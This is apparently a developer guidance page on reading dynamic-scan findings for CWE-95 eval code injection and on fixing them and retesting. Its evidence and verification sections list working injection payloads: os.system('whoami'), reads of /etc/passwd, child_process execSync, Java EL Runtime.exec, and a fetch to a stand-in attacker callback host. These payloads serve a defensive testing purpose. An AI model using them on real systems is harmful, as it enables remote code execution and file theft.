Skip to content

CWE-95: Code Injection (Eval)

Overview

This guidance helps interpret DAST findings for CWE-95: Code Injection (Eval). During dynamic scanning, the scanner detected that user input was executed as code in an interpreter context (Python, JavaScript, PHP, Ruby), allowing arbitrary code execution.

What the DAST scanner detected:

  • Time-based detection: Delays from sleep(), Thread.sleep(), time.sleep() in injected code
  • Out-of-band callbacks: DNS lookups or HTTP requests to attacker-controlled domains triggered by injected code
  • Distinctive error messages from interpreters:
    • Python: SyntaxError, NameError: name 'os' is not defined
    • Node.js: ReferenceError: fs is not defined
    • PHP: Parse error: syntax error, unexpected 'sleep'
  • Observable side effects: File creation, system command output, or database queries from injected code
  • Mathematical expression evaluation: 2+2 returns 4, 10*10 returns 100

Key DAST evidence:

  • Parameter expr=__import__('time').sleep(10) causes 10-second response delay
  • Input code=require('fs').readFileSync('/etc/passwd','utf8') returns file contents in response
  • Out-of-band HTTP request to http://attacker.burpcollaborator.net/ after submitting formula=fetch('http://attacker.burpcollaborator.net/')
  • Error: NameError: name 'os' is not defined for payload __import__('os').system('whoami')
  • Math evaluation: calc=7*7 returns 49 in response

Analyzing the Dynamic Scan Result

What the DAST Scanner Found

When reviewing your security scan results, you'll see:

HTTP Request Details

  • URL and endpoint that triggered the finding
  • HTTP method (GET, POST, etc.)
  • Query parameters or form data with test payloads
  • Request headers and body content

HTTP Response Evidence

  • Response showing the vulnerability manifestation
  • Evidence of improper handling or injection
  • Runtime behavior indicators

Attack Vector

  • Which parameter or input is vulnerable
  • Type of exploitation possible
  • Context where the vulnerability appears

Mapping DAST Findings to Source Code

Find the Vulnerable Endpoint

Use the HTTP request URL to locate the code:

# Search for the URL path in your codebase
grep -r "/calc" src/
grep -r "/eval" src/
grep -r "/formula" src/
grep -r "/expression" src/
grep -r "route.*calc" src/

Locate the Route Handler

Common patterns to search for:

  • Python Flask/Django: @app.route('/calc'), path('eval/', ...)
  • Node.js Express: app.post('/eval', ...), router.post('/formula', ...)
  • Java Spring: @PostMapping("/calc"), @RequestMapping("/expression")
  • ASP.NET: [Route("eval")], [HttpPost("calc")]
  • PHP: $_POST['expression'], eval() usage

Find the Parameter Handling

Search for the vulnerable parameter name:

# Find where the parameter is accessed
grep -r "request.form.get('expr')" src/      # Python Flask
grep -r "req.body.expression" src/           # Node.js
grep -r "@RequestParam.*formula" src/        # Java Spring
grep -r "Request.Form['code']" src/          # ASP.NET
grep -r "$_POST['expression']" src/          # PHP

Trace to Vulnerable Operation

Look for where the parameter is used in:

  • Code evaluation functions: eval(), exec(), Function(), compile(), ScriptEngine.eval()
  • Dynamic code execution: Creating functions/classes from strings
  • Template engines: Unsafe template rendering with code execution
  • Expression evaluators: Math expressions, formula parsers
  • Scripting engine integration: Python in Java, JavaScript in Node

Remediation

Core principle: Never execute dynamically generated code derived from untrusted input; eliminate eval/exec-style evaluation and replace it with safe parsers or allowlisted interpreters.

→ For comprehensive remediation guidance, see Static CWE-95 Guidance

Language-Specific Guidance

The static guidance provides detailed remediation steps for many languages. If you need language-specific examples:

Verification and Follow-Up Testing

After applying the fix:

Reproduce the Vulnerability

# Use curl to test code injection
curl -X POST "http://localhost:3000/calc" \

  -d "expression=__import__('os').system('whoami')"

curl -X POST "http://localhost:3000/eval" \

  -d "code=process.mainModule.require('child_process').execSync('ls').toString()"

# Or use browser DevTools Network tab to copy as cURL

Verify the Fix

  • Confirm eval/exec functions are completely removed
  • Verify safe alternatives are used (ast.literal_eval, math.js, etc.)
  • Check input is treated as data only, not code
  • Ensure no dynamic code generation from user input

Test Edge Cases

# Python eval injection
/calc?expr=__import__('os').system('cat /etc/passwd')

# JavaScript eval injection  
/eval?code=require('fs').readFileSync('/etc/passwd','utf8')

# PHP eval injection
/formula?expr=system('whoami');

# Expression language injection (Java)
/calc?formula=${T(java.lang.Runtime).getRuntime().exec('whoami')}

# Or use browser DevTools Network tab to copy as cURL

Re-run DAST Scanner

Run your dynamic scanner again on the fixed endpoint to confirm remediation.

Additional Resources